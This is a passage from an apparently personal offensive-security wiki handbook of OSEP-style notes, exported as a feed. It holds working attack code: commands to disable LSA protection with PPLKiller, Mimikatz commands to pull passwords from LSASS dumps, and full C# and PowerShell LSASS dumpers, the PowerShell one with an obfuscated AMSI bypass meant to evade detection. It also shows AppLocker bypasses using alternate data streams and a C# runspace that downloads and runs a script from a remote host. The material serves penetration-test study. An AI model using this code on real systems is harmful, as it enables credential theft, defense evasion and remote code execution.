3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2359</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2359"/>
		<updated>2026-03-16T11:37:44Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
